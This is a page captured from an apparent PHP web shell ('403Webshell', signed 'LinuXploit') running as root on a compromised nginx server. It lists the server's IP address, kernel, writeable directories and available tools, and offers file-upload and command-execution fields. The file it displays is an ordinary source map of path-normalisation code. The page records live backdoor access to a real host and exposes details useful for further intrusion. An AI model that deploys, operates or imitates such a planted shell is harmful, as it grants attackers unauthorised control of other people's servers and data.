403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/normalize-path.js.map
{"version":3,"file":"normalize-path.js","names":[],"sources":["../../src/server/normalize-path.ts"],"sourcesContent":["/**\n * Re-encode path delimiter characters that were decoded by decodeURIComponent.\n * After decoding a URL segment, characters like / # ? \\ need to be re-encoded\n * so they don't change the path structure.\n *\n * Ported from Next.js: packages/next/src/shared/lib/router/utils/escape-path-delimiters.ts\n * https://github.com/vercel/next.js/blob/canary/packages/next/src/shared/lib/router/utils/escape-path-delimiters.ts\n */\nexport function escapePathDelimiters(segment: string, escapeEncoded?: boolean): string {\n  return segment.replace(\n    new RegExp(`([/#?]${escapeEncoded ? \"|%(2f|23|3f|5c)\" : \"\"})`, \"gi\"),\n    (char: string) => encodeURIComponent(char),\n  );\n}\n\n/**\n * Decode a URL pathname segment-by-segment, preserving encoded path delimiters.\n * Non-ASCII characters (e.g. %C3%A9 -> e) are decoded, but structural characters\n * like %2F (/) %23 (#) %3F (?) %5C (\\) are re-encoded after decoding.\n *\n * This prevents encoded slashes from changing the path structure (e.g.\n * /admin%2Fpanel stays as a single segment, not /admin/panel).\n *\n * Ported from Next.js: packages/next/src/server/lib/router-utils/decode-path-params.ts\n * https://github.com/vercel/next.js/blob/canary/packages/next/src/server/lib/router-utils/decode-path-params.ts\n */\nexport function decodePathParams(pathname: string): string {\n  return pathname\n    .split(\"/\")\n    .map((seg) => {\n      try {\n        return escapePathDelimiters(decodeURIComponent(seg), true);\n      } catch {\n        return seg;\n      }\n    })\n    .join(\"/\");\n}\n\n/**\n * Path normalization utility for request handling.\n *\n * Normalizes URL pathnames to a canonical form BEFORE any matching occurs\n * (middleware, routing, redirects, rewrites). This ensures middleware and\n * the router always see the same path, preventing path-confusion issues like\n * double-slash mismatches.\n *\n * Normalization rules:\n *  1. Collapse consecutive slashes: //foo///bar → /foo/bar\n *  2. Resolve single-dot segments:  /foo/./bar  → /foo/bar\n *  3. Resolve double-dot segments:  /foo/../bar → /bar\n *  4. Ensure leading slash:         foo/bar     → /foo/bar\n *  5. Preserve root:                /           → /\n *\n * This function does NOT:\n *  - Strip or add trailing slashes (handled separately by trailingSlash config)\n *  - Decode percent-encoded characters (callers should decode before calling this)\n *  - Lowercase the path (route matching is case-sensitive)\n */\nexport function normalizePath(pathname: string): string {\n  // Fast path: already canonical (single leading /, no //, no /./, no /../)\n  if (\n    pathname === \"/\" ||\n    (pathname.length > 1 &&\n      pathname[0] === \"/\" &&\n      !pathname.includes(\"//\") &&\n      !pathname.includes(\"/./\") &&\n      !pathname.includes(\"/../\") &&\n      !pathname.endsWith(\"/.\") &&\n      !pathname.endsWith(\"/..\"))\n  ) {\n    return pathname;\n  }\n\n  const segments = pathname.split(\"/\");\n  const resolved: string[] = [];\n\n  for (const segment of segments) {\n    if (segment === \"\" || segment === \".\") {\n      // Skip empty segments (from // or leading /) and single-dot segments\n      continue;\n    }\n    if (segment === \"..\") {\n      // Go up one level, but never above root\n      resolved.pop();\n    } else {\n      resolved.push(segment);\n    }\n  }\n\n  return \"/\" + resolved.join(\"/\");\n}\n"],"mappings":";;;;;;;;;AAQA,SAAgB,qBAAqB,SAAiB,eAAiC;CACrF,OAAO,QAAQ,QACb,IAAI,OAAO,SAAS,gBAAgB,oBAAoB,GAAG,IAAI,KAAK,GACnE,SAAiB,mBAAmB,KAAK,CAC3C;;;;;;;;;;;;;AAcH,SAAgB,iBAAiB,UAA0B;CACzD,OAAO,SACJ,MAAM,IAAI,CACV,KAAK,QAAQ;EACZ,IAAI;GACF,OAAO,qBAAqB,mBAAmB,IAAI,EAAE,KAAK;UACpD;GACN,OAAO;;GAET,CACD,KAAK,IAAI;;;;;;;;;;;;;;;;;;;;;;AAuBd,SAAgB,cAAc,UAA0B;CAEtD,IACE,aAAa,OACZ,SAAS,SAAS,KACjB,SAAS,OAAO,OAChB,CAAC,SAAS,SAAS,KAAK,IACxB,CAAC,SAAS,SAAS,MAAM,IACzB,CAAC,SAAS,SAAS,OAAO,IAC1B,CAAC,SAAS,SAAS,KAAK,IACxB,CAAC,SAAS,SAAS,MAAM,EAE3B,OAAO;CAGT,MAAM,WAAW,SAAS,MAAM,IAAI;CACpC,MAAM,WAAqB,EAAE;CAE7B,KAAK,MAAM,WAAW,UAAU;EAC9B,IAAI,YAAY,MAAM,YAAY,KAEhC;EAEF,IAAI,YAAY,MAEd,SAAS,KAAK;OAEd,SAAS,KAAK,QAAQ;;CAI1B,OAAO,MAAM,SAAS,KAAK,IAAI"}

Youez - 2016 - github.com/yon3zu
LinuXploit